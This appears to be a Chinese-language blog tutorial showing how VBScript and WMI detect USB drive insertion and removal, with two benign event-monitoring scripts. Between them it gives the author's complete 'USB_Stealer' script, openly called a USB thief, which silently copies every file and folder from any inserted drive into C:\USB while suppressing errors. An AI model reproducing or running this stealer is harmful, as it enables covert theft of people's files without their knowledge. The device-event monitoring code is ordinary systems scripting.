用VBS檢測(cè)U盤插入與彈出事件的代碼

    可以說，對(duì)WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網(wǎng)上普遍流傳VBS版U盤小偷程序，基本上都是靠無限循環(huán)實(shí)現(xiàn)的，一點(diǎn)技術(shù)含量也沒有，文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環(huán)，但是效率是不一樣的。
    使用WMI的Win32_VolumeChangeEvent類就可以實(shí)現(xiàn)，下面是示例代碼，更詳細(xì)的信息請(qǐng)參考MSND文檔。
    代碼如下:
    Const Configuration_Changed = 1
    Const Device_Arrival = 2
    Const Device_Removal = 3
    Const Docking = 4
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\cimv2")
    Set colMonitoredEvents = objWMIService. _
    ExecNotificationQuery( _
    "Select * from Win32_VolumeChangeEvent")
    Do
    Set objLatestEvent = colMonitoredEvents.NextEvent
    Select Case objLatestEvent.EventType
    Case Device_Arrival
    WScript.Echo "U盤插入，盤符為" & _
    objLatestEvent.DriveName
    Case Device_Removal
    WScript.Echo "U盤彈出，盤符為" & _
    objLatestEvent.DriveName
    End Select
    Loop
    我也寫了一個(gè)U盤小偷程序，自以為比網(wǎng)上抄來抄去的代碼要好，感興趣的可以下載來看看。
    代碼如下:
    '==========================================
    'Name : USB_Stealer
    'Date : 2010/5/25
    'Author : Demon
    'Copyright : Copyright (c) 2010 Demon
    'E-Mail : still.demon@gmail.com
    'QQ : 380401911
    'Website : http://demon.tw
    '==========================================
    'Option Explicit
    On Error Resume Next
    Const Target_Folder = "C:\USB"
    Call Main()
    Sub Main()
    On Error Resume Next
    Const Device_Arrival = 2
    Const Device_Removal = 3
    Const strComputer = "."
    Dim objWMIService, colMonitoredEvents, objLatestEvent
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\cimv2")
    Set colMonitoredEvents = objWMIService. _
    ExecNotificationQuery( _
    "Select * from Win32_VolumeChangeEvent")
    Do
    Set objLatestEvent = colMonitoredEvents.NextEvent
    Select Case objLatestEvent.EventType
    Case Device_Arrival
    Copy_File objLatestEvent.DriveName
    End Select
    Loop
    End Sub
    Sub Copy_File(Folder_Path)
    On Error Resume Next
    Dim fso,file,folder
    Set fso = CreateObject("scripting.filesystemobject")
    If Not fso.FolderExists(Target_Folder) Then
    fso.CreateFolder(Target_Folder)
    End If
    For Each file In fso.GetFolder(Folder_Path).Files
    file.Copy Target_Folder & "\" & file.Name,True
    Next
    For Each folder In fso.GetFolder(Folder_Path).SubFolders
    folder.Copy Target_Folder & "\" & folder.Name,True
    Next
    End Sub
    鑒于很多人反映之前寫的那篇在XP下無效，做了一下修改。說是修改，其實(shí)是直接復(fù)制粘貼腳本專家的代碼。
    代碼如下:
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set colEvents = objWMIService.ExecNotificationQuery _
    ("Select * From __InstanceOperationEvent Within 10 Where " _
    & "TargetInstance isa 'Win32_LogicalDisk'")
    Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 2 Then
    Select Case objEvent.Path_.Class
    Case "__InstanceCreationEvent"
    Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
    " has been added."
    Case "__InstanceDeletionEvent"
    Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
    " has been removed."
    End Select
    End If
    Loop